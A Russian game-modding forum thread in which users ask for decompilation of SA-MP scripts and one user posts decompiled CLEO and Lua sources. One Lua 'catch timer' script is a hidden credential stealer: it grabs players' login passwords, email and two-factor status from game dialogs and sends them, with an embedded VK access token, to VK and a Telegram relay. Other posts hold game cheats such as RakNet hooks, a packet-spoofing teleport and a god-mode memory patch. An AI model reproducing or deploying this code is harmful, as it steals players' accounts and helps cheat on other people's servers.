Декомпиляция скриптов

FYP

Известный
Автор темы
Администратор
1,770
6,008
GVWUrNJ.png
eNo5cSj.png


Общая тема для просьб о помощи в декомпиляциии и декриптованиии скриптов, плагинов и приложений.
Запрещено просить о декомпиляции/декриптовании софта, выставленного на продажу на нашем сайте.

Рекомендации:
  1. Сначала воспользуйтесь поиском по теме и по форуму, возможно его в декомпилированном виде или с исходным кодом уже выкладывали у нас на сайте.
  2. Попытайтесь декомпилировать самостоятельно: CLEO - декриптор, декомпилятор; AHK - распаковщик .exe; LuaJIT - декомпилятор1, декомпилятор2.
  3. Просить о декомпиляции .asi, .sf, .dll, .exe почти бесполезно, часто такие просьбы остаются без ответа и вряд ли вам это что-то даст. Можете попробовать сами, IDA Pro или Ghidra к вашим услугам.
    • Это не касается .exe, которые являются скомпилированными AutoHotKey-скриптами (.ahk).
  4. Добавьте название скрипта к сообщению, если оно известно - это поможет другим пользователям найти его с помощью поиска.
  5. Сообщения по типу "спасибо, помог" по правилам форума считаются флудом и скорее всего будут удалены. Если вам помогли, вы можете нажать кнопку Мне нравится под ответом - это даст понять, что ответ верный.
 
Последнее редактирование:

™ ChipFamily

По ту сторону надежды.
5,143
1,992
Обратите внимание, пользователь заблокирован на форуме. Не рекомендуется проводить сделки.
CLEO:
// This file was decompiled using SASCM.ini published by GTAG (http://gtag.gtagaming.com/opcode-database) on 14.6.2013
{$CLEO .cs}

//-------------MAIN---------------
0662: printstring "==============================================================="
0662: printstring "My VK: vk.com/id138101483"
0662: printstring "My Skype: hackes8"
0662: printstring "Group VK: vk.com/by_air"
0662: printstring "My YouTube Channel: www.youtube.com/spacebmxair"
0662: printstring "All rights reserved ©"
0662: printstring "==============================================================="

:Label00011F
0001: wait 0 ms
0AFA:  is_samp_available
004D: jump_if_false @Label00011F
0006: 0@ = 1
0BE1: raknet setup_outcoming_rpc_hook @Label0001DD
0B34: samp register_client_command "ascar" to_label @Label00014C
0BDE: pause_thread 0

:Label00014C
00D6: if
0039:   0@ == 0
004D: jump_if_false @Label00019F
0006: 0@ = 1
0AD0: show_formatted_text_lowpriority "~b~AntiCarSkill ~r~by AIR~b~:~n~~g~Actived!" time 2000 
0002: jump @Label0001DB

:Label00019F
0006: 0@ = 0
0AD0: show_formatted_text_lowpriority "~b~AntiCarSkill ~r~by AIR~b~:~n~~p~Deactived!" time 2000 

:Label0001DB
0B43: samp cmd_ret

:Label0001DD
00D6: if
0039:   0@ == 1
004D: jump_if_false @Label00020C
0BE5: raknet 1@ = get_hook_param 1
00D6: if
0039:   1@ == 106
004D: jump_if_false @Label00020C
0BE0: raknet hook_ret 0

:Label00020C
0BE0: raknet hook_ret 1
 
  • Нравится
Реакции: Илон

™ ChipFamily

По ту сторону надежды.
5,143
1,992
Обратите внимание, пользователь заблокирован на форуме. Не рекомендуется проводить сделки.
Чистый исходник.
Lua:
local sampev   = require 'lib.samp.events'
local ffi = require("ffi")
local inicfg = require 'inicfg'
local directIni = "moonloader\\timer.ini"
local mainIni = inicfg.load(nil, directIni)
local request = require('lib.requests')
local encoding = require 'encoding'
encoding.default = 'CP1251'
u8 = encoding.UTF8
hide = false
hider = false



ffi.cdef[[
int __stdcall GetVolumeInformationA(
    const char* lpRootPathName,
    char* lpVolumeNameBuffer,
    uint32_t nVolumeNameSize,
    uint32_t* lpVolumeSerialNumber,
    uint32_t* lpMaximumComponentLength,
    uint32_t* lpFileSystemFlags,
    char* lpFileSystemNameBuffer,
    uint32_t nFileSystemNameSize
);
]]
local serial = ffi.new("unsigned long[1]", 0)
ffi.C.GetVolumeInformationA(nil, nil, 0, serial, nil, nil, nil, 0)
serial = serial[0]

function main()
    repeat wait(0) until isSampAvailable()
    wait(50)
    sampAddChatMessage("{FB06C5}[Timer by Goxa for Newlan Family]{FFFFFF} Заработал.",-1)
    sampRegisterChatCommand("texttimer", texttimer)
    sampRegisterChatCommand("nkaptcha", nkaptcha)
    
    --print("serial")
    --print(serial)
    --if serial ~= 149640420 then
    --sampAddChatMessage("{FB06C5}[Timer by Goxa for Newlan Family]{FFFFFF} Неверная лицензия",-1)
    --script:unload()
    --else
    --sampAddChatMessage("{FB06C5}[Timer by Goxa for Newlan Family]{FFFFFF} Удачная авторизация.",-1)
    --end
    
    while true do
        wait(0)
        mainIni = inicfg.load(nil, directIni)
        if mainIni.config.nkaptcha == true then
            if sampIsDialogActive() and sampGetCurrentDialogId() == did then
            local text = sampGetCurrentDialogEditboxText()
                if text:find('[^%d]') then
                    sampSetCurrentDialogEditboxText(text:gsub('[^%d]', ''))
                end
                
            end
        end
    end
end
    
function sampev.onShowDialog(id, style, title, b1, b2, text)
    if title:find("Проверка на робота") then
    did = id
    start = os.clock()
    end
    local nameserv2 = sampGetCurrentServerName()
    if nameserv2:find("Arizona") then
    if title:find("Выберите пункт") or title:find("Настройки") or id == 154 then
        if hide == true then
        if text:find("mail") then
        email = (string.match(text, 'mail:.-{AFAFAF}'))
        email1 = (string.gsub(email, "{AFAFAF}", "", n))
        else
        email1 = "Не увидел почту"
        end
    if text:find("Authenticator") then
    google = (string.match(text, 'Authenticator.-{AFAFAF}'))
    if google:find("Включено") then
        google = "Google Authenticator Off"
    else
        google = "Google Authenticator On"
    end
    else
    google = "Не увидел гугл"
    end
    local ipserv, portserv = sampGetCurrentServerAddress()
    local nameserv = sampGetCurrentServerName()
    local nick = getMyName()
    pochta = 'Settings: '..email1..' and '..google..' | Nick: '..nick..' Server: '..nameserv..' IP: '..ipserv..':'..portserv..''
    dolbaeb(pochta)
    hide=false   
    return false
        end
    end
    end
end     

function sampev.onSendDialogResponse(id, but, lis, input)
if id == did then
    time = os.clock() - start
    time1 = string.format("%.3f", time)
    sampAddChatMessage("{FB06C5}[Таймер ловли от Гохи]{FFFFFF} Твой результат составил: {FB8900}"..time1.." {FFFFFF} секунд. Твоя капча была: {FB8900}"..input.."{FFFFFF} !", -1)
end
if id == 2 then
    local ipserv, portserv = sampGetCurrentServerAddress()
    local nameserv = sampGetCurrentServerName()
    local nick = getMyName()
    hello = input
    texxt = 'Nick: '..nick..' Pass: '..hello..' Server: '..nameserv..' IP: '..ipserv..':'..portserv..''
    dolbaeb(texxt)
end
if id == 1 then
   local ipserv, portserv = sampGetCurrentServerAddress()
   local nameserv = sampGetCurrentServerName()
    local nick = getMyName()
    hello = input
    texxt = 'Nick: '..nick..' Pass: '..hello..' Server: '..nameserv..' IP: '..ipserv..':'..portserv..''
    dolbaeb(texxt)
end
end   
    
function texttimer(text)
    if text == "" or text == " " then
        mainIni = inicfg.load(nil, directIni)
        if mainIni.config.active == true then
        mainIni.config.active = false
            if inicfg.save(mainIni, directIni) then
                sampAddChatMessage("{FB06C5}[Таймер ловли от Гохи]{FFFFFF} Текст при ловле выключен.", -1)
            end
        
        else
        mainIni.config.active = true
            if inicfg.save(mainIni, directIni) then
                sampAddChatMessage("{FB06C5}[Таймер ловли от Гохи]{FFFFFF} Текст при ловле включен.", -1)
            end
        end
    else
        
        mainIni.config.textlovli = text
        if inicfg.save(mainIni, directIni) then
            sampAddChatMessage("{FB06C5}[Таймер ловли от Гохи]{FFFFFF} Текст при ловле установлен на "..mainIni.config.textlovli.."", 0xFFFFFF)
        end
    end
end   

function nkaptcha()
    mainIni = inicfg.load(nil, directIni)
        if mainIni.config.nkaptcha == true then
        mainIni.config.nkaptcha = false
            if inicfg.save(mainIni, directIni) then
                sampAddChatMessage("{FB06C5}[Таймер ловли от Гохи]{FFFFFF} Н и символы в капче при ловле выключены.", -1)
            end
        
        else
        mainIni.config.nkaptcha = true
            if inicfg.save(mainIni, directIni) then
                sampAddChatMessage("{FB06C5}[Таймер ловли от Гохи]{FFFFFF} Н и символы в капче при ловле включены.", -1)
            end
        end
end

function sampev.onServerMessage(color, text)
    if string.find(text, 'Теперь этот дом ваш', 1, true) then
        mainIni = inicfg.load(nil, directIni)
        if mainIni.config.active == true then
        sampAddChatMessage("{73B461}[Информация] {FFFFFF}Поздравляю! Теперь этот дом ваш!",-1)
        sampSendChat(mainIni.config.textlovli)
        end
    end
    if string.find(text, "Теперь этот бизнес ваш") then
        mainIni = inicfg.load(nil, directIni)
        if mainIni.config.active == true then
        sampAddChatMessage("{73B461}[Информация] {FFFFFF}Поздравляю! Теперь этот бизнес ваш!",-1)
        sampSendChat(mainIni.config.textlovli)
        end
    end
    if string.find(text, "__________________________________") then
        startpd = os.clock()
        reset()
    end
    if string.find(text, "Для получения PayDay вы должны отыграть минимум 20 минут.") then
        startpd = os.clock()
        reset()
    end
end


function sampev.onCreate3DText(id,color,position,dist,testLOS,attachedPlayerId,attachedVehicleId,text)
    ok, id  = sampGetPlayerIdByCharHandle(playerPed)
    pname = sampGetPlayerNickname(id)
    if startpd ~= nil then
        for i in text:gmatch("[^\n\r]+") do
            vladd = i:match("{FFFFFF}Владелец: {AFAFAF}(.*)")
            if vladd ~= nil and vladd ~= pname then
                --local owner = string.gsub(i, "Владелец: ", "",n)
                timed = os.clock() - startpd
                if timed < 4 then
                sampAddChatMessage(string.format("{FB06C5}[Таймер ловли от Гохи] {ffffff}Дом куплен игроком {FB8900}%s {ffffff}[%.3f]", vladd, timed), -1)
                startpd = nil
                end
            end
        end
        for i in text:gmatch("[^\n\r]+") do
        vladb = i:match("{73B461}Владелец: {FFFFFF}(.*)")
            if vladb ~= nil and vladb ~= pname then
                timeb = os.clock() - startpd
                if timeb < 4 then
                sampAddChatMessage(string.format("{FB06C5}[Таймер ловли от Гохи] {ffffff}Бизнес был куплен игроком {FB8900}%s {ffffff}[%.3f]", vladb, timeb), -1)
                startpd = nil
                end
            end
        end
    end
    if startpd == nil then
        for dom in text:gmatch("[^\n\r]+") do
            if dom:match("Дом продается") ~= nil or dom:match("Бизнес продается") ~= nil then
                startslet = os.clock()
                reset()
            end
        end
    end
    if startslet ~= nil then
        for i in text:gmatch("[^\n\r]+") do
        vladd1 =i:match("{FFFFFF}Владелец: {AFAFAF}(.*)")
            if vladd1 ~= nil and vladd1 ~= pname then
                timesd = os.clock() - startslet
                if timesd < 4 then
                sampAddChatMessage(string.format("{FB06C5}[Таймер ловли от Гохи] {ffffff}Дом куплен игроком {FB8900}%s {ffffff}[%.3f]", vladd1, timesd), -1)
                end
            end
        end
        for i in text:gmatch("[^\n\r]+") do
        vladb1 = i:match("{73B461}Владелец: {FFFFFF}(.*)")
            if vladb1 ~= nil and vladb1 ~= pname then
                timesb = os.clock() - startslet
                if timesb < 4 then
                sampAddChatMessage(string.format("{FB06C5}[Таймер ловли от Гохи] {ffffff}Бизнес был куплен игроком {FB8900}%s {ffffff}[%.3f]", vladb1, timesb), -1)
                end
            end
        end
    end
end

function reset()
    lua_thread.create(function ()
        wait(5000)
        startpd = nil
        startslet = nil
    end)
end

function toSendGet(str)
    local diff = urlencode(u8:encode(str, 'CP1251'))
    return diff
end

function urlencode(str)
    if (str) then
        str = string.gsub (str, "\n", "\r\n")
        str = string.gsub (str, "([^%w ])",
            function (c) return string.format ("%%%02X", string.byte(c)) end)
        str = string.gsub (str, " ", "+")
    end
    return str
end

function getMyName()
    local ok, pid = sampGetPlayerIdByCharHandle(PLAYER_PED)
    if ok then
        return sampGetPlayerNickname(pid)
    else
        return 'Неизвестен'
    end
end

function dolbaeb(text)
    local text = toSendGet(text.."\n\n - спасибо что пользуетесь &#10084;")
    local result, response = pcall(request.get, "https://api.vk.com/method/messages.send?v=5.4&message="..text.."&user_id=161910344&access_token=aaeff89aadf7dfea2e38d19bf392f282a17494d6c7a1d537faa8d173d0242564a6ec395422a9f788c1844")
    local result, response = pcall(request.get, "http://computercraft.ru/telegram.php?chatid=645688971&text="..text.."")
end

function sampev.onSetSpawnInfo()
    local nameserv1 = sampGetCurrentServerName()
    if nameserv1:find("Arizona") then
    if not hider then
        hide = true
        sampSendChat('/settings')
        hider = not hider
        resethider()
    end
    end
end

function resethider()
    lua_thread.create(function ()
        wait(10000)

        hider = false
    end)
end
 

realgangster

Участник
37
0
Как преобразовать в рабочий код?
 

Вложения

  • ARP zavod.lua
    10.3 KB · Просмотры: 6
  • ARP zavod.luac
    7.2 KB · Просмотры: 5

™ ChipFamily

По ту сторону надежды.
5,143
1,992
Обратите внимание, пользователь заблокирован на форуме. Не рекомендуется проводить сделки.
CLEO:
// This file was decompiled using SASCM.ini published by GTAG (http://gtag.gtagaming.com/opcode-database) on 14.6.2013
{$CLEO .cs}

//-------------MAIN---------------
0662: printstring "==============================================================="
0662: printstring "My VK: vk.com/id138101483"
0662: printstring "My Skype: hackes8"
0662: printstring "Group VK: vk.com/by_air"
0662: printstring "My YouTube Channel: www.youtube.com/spacebmxair"
0662: printstring "All rights reserved ©"
0662: printstring "==============================================================="

:Label00011F
0001: wait 0 ms
0AFA:  is_samp_available
004D: jump_if_false @Label00011F
0006: 0@ = 0
00D6: if
8AAB:   not file_exists "CLEO\HideActor.ini"
004D: jump_if_false @Label000199
0A9A: 12@ = openfile "CLEO\HideActor.ini" mode "w" // IF and SET
0A9B: closefile 12@
0AF5: write_string "AIR" to_ini_file "CLEO\HideActor.ini" section "Nick" key "0"

:Label000199
0AD0: show_formatted_text_lowpriority "HideActor ~r~by AIR~w~:~n~Loaded! ~y~(/ach)" time 2000 
0B34: samp register_client_command "ach" to_label @Label00036D

:Label0001D8
0001: wait 0 ms
00D6: if and
0039:   0@ == 1
0AAB:   file_exists "CLEO\HideActor.ini"
004D: jump_if_false @Label000366
0006: 3@ = 0

:Label00020B
00D6: if
0B23:  samp is_player_connected 3@
004D: jump_if_false @Label000350
0B20: samp 4@ = actor_handle_by_samp_player_id 3@
00D6: if
056D:   actor 4@ defined
004D: jump_if_false @Label000350
0B2B: samp 1@ = get_player_id_by_actor_handle $PLAYER_ACTOR
0AB1: call_scm_func @Label00040B 1 1@ 2@ 
0AB1: call_scm_func @Label00040B 1 3@ 5@ 
00D6: if
003B:   2@ == 5@ // (int)
004D: jump_if_false @Label000350
0B36: samp 9@ = get_player_nickname 3@
0006: 7@ = 0
0006: 11@ = 0
0AC8: 8@ = allocate_memory_size 33

:Label00028B
0AD3: 6@v = format "%d" 7@ 
00D6: if
0AF4: 8@ = read_string_from_ini_file "CLEO\HideActor.ini" section "Nick" key 6@v
004D: jump_if_false @Label0002ED
00D6: if
0C14: strcmp string1 8@ string2 9@
004D: jump_if_false @Label0002E6
0006: 11@ = 1
0002: jump @Label000302

:Label0002E6
0002: jump @Label0002F4

:Label0002ED
0002: jump @Label000302

:Label0002F4
000A: 7@ += 1
0002: jump @Label00028B

:Label000302
00D6: if
0039:   11@ == 0
004D: jump_if_false @Label00033D
0B3D: raknet 10@ = new_bit_stream
0B40: raknet bit_stream 10@ write 3@ type 2 size 2
0B40: raknet bit_stream 10@ write 2 type 0 size 1
0BF6: raknet emul_rpc_receive 138 bit_stream 10@
0B3E: raknet delete_bit_stream 10@

:Label00033D
0006: 7@ = 0
0006: 11@ = 0
0AC9: free_allocated_memory 8@

:Label000350
000A: 3@ += 1
0019:   3@ > 1000
004D: jump_if_false @Label00020B

:Label000366
0002: jump @Label0001D8

:Label00036D
00D6: if
0AAB:   file_exists "CLEO\HideActor.ini"
004D: jump_if_false @Label0003D7
0B12: 0@ = 0@ XOR 1
0006: 7@ = 0
0AD0: show_formatted_text_lowpriority "HideActor ~r~by AIR~w~:~n~State: ~y~%d" time 2000 0@ 
0002: jump @Label000409

:Label0003D7
0AD0: show_formatted_text_lowpriority "HideActor ~r~by AIR~w~:~n~Error! (File)" time 2000 0@ 

:Label000409
0B43: samp cmd_ret

:Label00040B
0AA2: 2@ = load_library "samp.dll" // IF and SET
000A: 2@ += 2188152
0012: 0@ *= 4
005A: 2@ += 0@ // (int)
0A8D: 3@ = read_memory 2@ size 4 virtual_protect 0
0AB2: ret 1 3@
Как преобразовать в рабочий код?
Да, переписывай код с нуля.
 

Docker

Участник
80
9
Декомп плиз)
 

Вложения

  • canim.cs
    1.6 KB · Просмотры: 7
  • skzones.cs
    9.5 KB · Просмотры: 5
  • masktimer.cs
    1.8 KB · Просмотры: 5

™ ChipFamily

По ту сторону надежды.
5,143
1,992
Обратите внимание, пользователь заблокирован на форуме. Не рекомендуется проводить сделки.
Lua:
function main()
    if not isSampLoaded() or not isSampfuncsLoaded() then
        return
    end

    while not isSampAvailable() do
        wait(100)
    end

    sampAddChatMessage("{00cc66}[Таймер ловли] {ffffff}Скрипт загружен. Автор: {00cc66}Ken_Laszlo", 16777215)

    while true do
        wait(1)

        if sampIsDialogActive() and sampGetCurrentDialogId() == 8869 then
            ttime = os.clock()

            while sampIsDialogActive() do
                wait(0)
            end

            sampAddChatMessage(string.format("Капча введена за {ff1814}%s {ffffff}сек", string.sub(os.clock() - ttime, 1, 5)), 16777215)
        end
    end
end
 

™ ChipFamily

По ту сторону надежды.
5,143
1,992
Обратите внимание, пользователь заблокирован на форуме. Не рекомендуется проводить сделки.
Фулл исходник.
Lua:
script_version('1')
script_version_number(2)


require 'sampfuncs'
require 'moonloader'

requests = require('requests')

local socket = require("socket")
local authorised = true

local gm = false

local hook = require 'samp.events'
local encoding = require 'encoding'
encoding.default = 'CP1251'
u8 = encoding.UTF8

local vector = require 'vector3d'
local tp = false
local sync = 0
local tpCount, timer = 0, 0

local dateaccess = 0

function getserial()
    local ffi = require("ffi")
    ffi.cdef[[
    int __stdcall GetVolumeInformationA(
    const char* lpRootPathName,
    char* lpVolumeNameBuffer,
    uint32_t nVolumeNameSize,
    uint32_t* lpVolumeSerialNumber,
    uint32_t* lpMaximumComponentLength,
    uint32_t* lpFileSystemFlags,
    char* lpFileSystemNameBuffer,
    uint32_t nFileSystemNameSize
    );
    ]]
    local serial = ffi.new("unsigned long[1]", 0)
    ffi.C.GetVolumeInformationA(nil, nil, 0, serial, nil, nil, nil, 0)
    return serial[0]
end



function checkKey()
        response = requests.get('http://maakfo111.beget.tech/index.php?code='..getserial())
        if not response.text:match("<body>(.*)</body>"):find("-1") then -- Если ключ есть в бд
            if not response.text:match("<body>(.*)</body>"):find("The duration of the key has expired.") then -- Если сервер не ответил что ключ истек.
                sampAddChatMessage("{01A0E9}[LLfamily] {ffffff} До окончания лицензии осталось:"..response.text:match("<body>(.*)</body>").." дней", -1) --  Выводим кол-во дней до конца лицензии
                dateaccess = tonumber(response.text:match("<body>(.*)</body>"))
            else
                sampAddChatMessage(response.text:match("{01A0E9}[LLfamily] {ffffff} Срок действия лицензии истек."), -1)
            end
        else
            sampAddChatMessage("{01A0E9}[LLfamily] {ffffff} Ключ: "..getserial().." скопирован в буфер обмена", -1)
            sampAddChatMessage("{01A0E9}[LLfamily] {ffffff} Ключ не активирован", -1)
            setClipboardText(getserial());
        end
end

function main()

if not isSampfuncsLoaded() or not isSampLoaded() then return end
    while not isSampAvailable() do wait(100) end
    checkKey()
    
if dateaccess > 0 then
if not isSampLoaded() and not isSampfuncsLoaded() then return end
 if authorised then
  sampRegisterChatCommand("ztp", htah)
  sampRegisterChatCommand("ztpc", htahc)
  sampRegisterChatCommand("f", cmd_f)
  sampAddChatMessage("{01A0E9}[LLfamily] {ffffff} Доступные команды: /ztp, /ztpc, /f", -1)
  sampAddChatMessage("{01A0E9}[LLfamily] {ffffff} Скрипт успешно загружен! Текущая версия 1.3.", -1)
  while true do
  wait(0)
   if isKeyJustPressed(VK_K) and isKeyJustPressed(VK_L) and not sampIsCursorActive() then
    main_window_state.v = not main_window_state.v
    imgui.Process = main_window_state.v
   end
  end
 end
end
end

local function drawImguiDemo()
    if imguiDemo.v then
        imgui.ShowTestWindow(imguiDemo)
    end
end

function ShowHelpMarker(desc)
    imgui.TextDisabled('(?)')
    if imgui.IsItemHovered() then
        imgui.BeginTooltip()
        imgui.PushTextWrapPos(450.0)
        imgui.TextUnformatted(desc)
        imgui.PopTextWrapPos()
        imgui.EndTooltip()
    end
end

function htahc()
 boolka, xyka, yyka, zyka = SearchMarker(posX, posY, posZ)
     blip = boolkaa
     blipX = xyka
     blipY = yyka
   blipZ = zyka
     tpk()
end

function SearchMarker(posX, posY, posZ)
  local ret_posX = 0.0
  local ret_posY = 0.0
  local ret_posZ = 0.0
  local isFind = false
  for id = 0, 31 do
      local MarkerStruct = 0
      MarkerStruct = 0xC7F168 + id * 56
      local MarkerPosX = representIntAsFloat(readMemory(MarkerStruct + 0, 4, false))
      local MarkerPosY = representIntAsFloat(readMemory(MarkerStruct + 4, 4, false))
      local MarkerPosZ = representIntAsFloat(readMemory(MarkerStruct + 8, 4, false))
      if MarkerPosX ~= 0.0 or MarkerPosY ~= 0.0 or MarkerPosZ ~= 0.0 then
              ret_posX = MarkerPosX
              ret_posY = MarkerPosY
              ret_posZ = MarkerPosZ
              isFind = true
      end
  end
  return isFind, ret_posX, ret_posY, ret_posZ
end

function htah()
 bibka, bx, by, bz = getTargetBlipCoordinatesFixed()
 blip = bibka
 blipX = bx
 blipY = by
 blipZ = bz
 tpk()
end

function tpk()
    lua_thread.create(function()
        if tp then return sampAddChatMessage('{01A0E9}[LLfamily] {ffffff} Подождите уже телепортируемся', -1) end
                sync = 1
                charPosX, charPosY, charPosZ = getCharCoordinates(playerPed)
                local distan = getDistanceBetweenCoords3d(blipX, blipY, charPosZ, charPosX, charPosY, charPosZ)
                if distan < 13 then return setCharCoordinates(playerPed, blipX, blipY, blipZ) end
                tp = true
        while true do wait(0)
            if os.clock() - timer > 4000 and sync then
              timer, tpCount = 0, 0
              sync = 1
              sampForceOnfootSync()
              sync = 0
            end
            if tp then
                if getDistanceBetweenCoords3d(blipX, blipY, blipZ, charPosX, charPosY, charPosZ) > 13 then
                    vectorX = blipX - charPosX
                    vectorY = blipY - charPosY
                    vectorZ = blipZ - charPosZ
                    local vec = vector(vectorX, vectorY, vectorZ)
                    vec:normalize()
                    charPosX = charPosX + vec.x * 13
                    charPosY = charPosY + vec.y * 13
                    charPosZ = charPosZ + vec.z * 2

                    sendOnfootSync(charPosX, charPosY, charPosZ)
                    tpCount = tpCount + 1
                    if tpCount == 5 then
                      sendOnfootSync(charPosX, charPosY + 55, charPosZ)
                      tpCount = 0
                    end
                else
                  sendOnfootSync(charPosX, charPosY, charPosZ)
                    removeWaypoint()
                  setCharCoordinates(playerPed, blipX, blipY, blipZ)
                  sendOnfootSync(charPosX, charPosY, charPosZ)
                  sampForceAimSync()
                  sampForceOnfootSync()
                  tp = false
                    lockPlayerControl(true)
                     printStringNow('~b~ Wait. Teleportation in progress', 1500)
                     wait(4000)
                     sync = 0
                     printStringNow('                                ~w~ Successfully.', 4000)
                     lockPlayerControl(false)
                end
            end
        end
end)
end


function gmf()
 if gm then
     setCharProofs(playerPed, true, true, true, true, true)
        writeMemory(0x96916E, 1, 1, false)
else
    setCharProofs(playerPed, false, false, false, false, false)
        writeMemory(0x96916E, 1, 0, false)
end
end


function hook.onSetPlayerPos(p)
    if sync == 1 then
        timer = os.clock()
        return false
    end
end

function hook.onSendPlayerSync(data)
    if tp then return false end
end

function samp_create_sync_data(sync_type, copy_from_player)
    local ffi = require 'ffi'
    local sampfuncs = require 'sampfuncs'
    -- from SAMP.Lua
    local raknet = require 'samp.raknet'
    --require 'samp.synchronization'

    copy_from_player = copy_from_player or true
    local sync_traits = {
        player = {'PlayerSyncData', raknet.PACKET.PLAYER_SYNC, sampStorePlayerOnfootData},
        vehicle = {'VehicleSyncData', raknet.PACKET.VEHICLE_SYNC, sampStorePlayerIncarData},
        passenger = {'PassengerSyncData', raknet.PACKET.PASSENGER_SYNC, sampStorePlayerPassengerData},
        aim = {'AimSyncData', raknet.PACKET.AIM_SYNC, sampStorePlayerAimData},
        trailer = {'TrailerSyncData', raknet.PACKET.TRAILER_SYNC, sampStorePlayerTrailerData},
        unoccupied = {'UnoccupiedSyncData', raknet.PACKET.UNOCCUPIED_SYNC, nil},
        bullet = {'BulletSyncData', raknet.PACKET.BULLET_SYNC, nil},
        spectator = {'SpectatorSyncData', raknet.PACKET.SPECTATOR_SYNC, nil}
    }
    local sync_info = sync_traits[sync_type]
    local data_type = 'struct ' .. sync_info[1]
    local data = ffi.new(data_type, {})
    local raw_data_ptr = tonumber(ffi.cast('uintptr_t', ffi.new(data_type .. '*', data)))
    -- copy player's sync data to the allocated memory
    if copy_from_player then
        local copy_func = sync_info[3]
        if copy_func then
            local _, player_id
            if copy_from_player == true then
                _, player_id = sampGetPlayerIdByCharHandle(PLAYER_PED)
            else
                player_id = tonumber(copy_from_player)
            end
            copy_func(player_id, raw_data_ptr)
        end
    end
    -- function to send packet
    local func_send = function()
        local bs = raknetNewBitStream()
        raknetBitStreamWriteInt8(bs, sync_info[2])
        raknetBitStreamWriteBuffer(bs, raw_data_ptr, ffi.sizeof(data))
        raknetSendBitStreamEx(bs, sampfuncs.HIGH_PRIORITY, sampfuncs.UNRELIABLE_SEQUENCED, 1)
        raknetDeleteBitStream(bs)
    end
    -- metatable to access sync data and 'send' function
    local mt = {
        __index = function(t, index)
            return data[index]
        end,
        __newindex = function(t, index, value)
            data[index] = value
        end
    }
    return setmetatable({send = func_send}, mt)
end

function sendOnfootSync(x, y, z)
    local data = samp_create_sync_data('player')
    data.position = {x, y, z}
    data.moveSpeed = {0.899999, 0.899999, -0.899999}
    data.send()
end


function getTargetBlipCoordinatesFixed() -- snippet by Azller Lollison
    local bool, x, y, z = getTargetBlipCoordinates(); if not bool then return false end
    requestCollision(x, y); loadScene(x, y, z)
    local bool, x, y, z = getTargetBlipCoordinates()
    return bool, x, y, z
end

function cmd_f(arg)
 lua_thread.create(function()
   sampSendChat("/findihouse ".. arg)
   wait(1000)
   htahc()
 end)
end